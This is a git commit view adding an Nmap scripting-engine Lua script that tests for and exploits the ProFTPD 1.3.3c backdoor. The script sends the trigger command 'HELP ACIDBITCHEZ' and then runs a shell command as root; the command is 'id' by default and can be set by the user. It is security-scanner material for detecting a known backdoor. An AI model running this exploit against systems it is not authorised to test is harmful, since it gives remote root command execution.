summaryrefslogtreecommitdiffstats
path: root/scripts/ftp-proftpd-backdoor.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/ftp-proftpd-backdoor.nse')
-rw-r--r--scripts/ftp-proftpd-backdoor.nse128
1 files changed, 128 insertions, 0 deletions
diff --git a/scripts/ftp-proftpd-backdoor.nse b/scripts/ftp-proftpd-backdoor.nse
new file mode 100644
index 0000000..95fc670
--- /dev/null
+++ b/scripts/ftp-proftpd-backdoor.nse
@@ -0,0 +1,128 @@
+local ftp = require "ftp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID
+45150. This script attempts to exploit the backdoor using the innocuous
+<code>id</code> command by default, but that can be changed with the
+<code>ftp-proftpd-backdoor.cmd</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap --script ftp-proftpd-backdoor -p 21 <host>
+--
+-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
+-- <code>id</code>).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-proftpd-backdoor:
+-- | This installation has been backdoored.
+-- | Command: id
+-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
+-- |_
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+local CMD_FTP = "HELP ACIDBITCHEZ"
+local CMD_SHELL = "id"
+
+portrule = function (host, port)
+ -- Check if version detection knows what FTP server this is.
+ if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
+ return false
+ end
+
+ -- Check if version detection knows what version of FTP server this is.
+ if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
+ return false
+ end
+
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+action = function(host, port)
+ local cmd, err, line, req, resp, results, sock, status
+
+ -- Get script arguments.
+ cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
+ if not cmd then
+ cmd = CMD_SHELL
+ end
+
+ -- Create socket.
+ sock = nmap.new_socket("tcp")
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, port, "tcp")
+ if not status then
+ stdnse.debug1("Can't connect: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Read banner.
+ local buffer = stdnse.make_buffer(sock, "\r?\n")
+ local code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.debug1("Can't read banner: %s", message)
+ sock:close()
+ return
+ end
+
+ -- Check version.
+ if not message:match("ProFTPD 1.3.3c") then
+ stdnse.debug1("This version is not known to be backdoored.")
+ return
+ end
+
+ -- Send command to escalate privilege.
+ status, err = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.debug1("Failed to send privilege escalation command: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check if escalation worked.
+ code, message = ftp.read_reply(buffer)
+ if code and code == 502 then
+ stdnse.debug1("Privilege escalation failed: %s", message)
+ sock:close()
+ return
+ end
+
+ -- Send command(s) to shell.
+ status, err = sock:send(cmd .. ";\r\n")
+ if not status then
+ stdnse.debug1("Failed to send shell command(s): %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check for an error from command.
+ status, resp = sock:receive()
+ if not status then
+ stdnse.debug1("Can't read command response: %s", resp)
+ sock:close()
+ return
+ end
+
+ -- Summarize the results.
+ results = {
+ "This installation has been backdoored.",
+ "Command: " .. CMD_SHELL,
+ "Results: " .. resp
+ }
+
+ return stdnse.format_output(true, results)
+end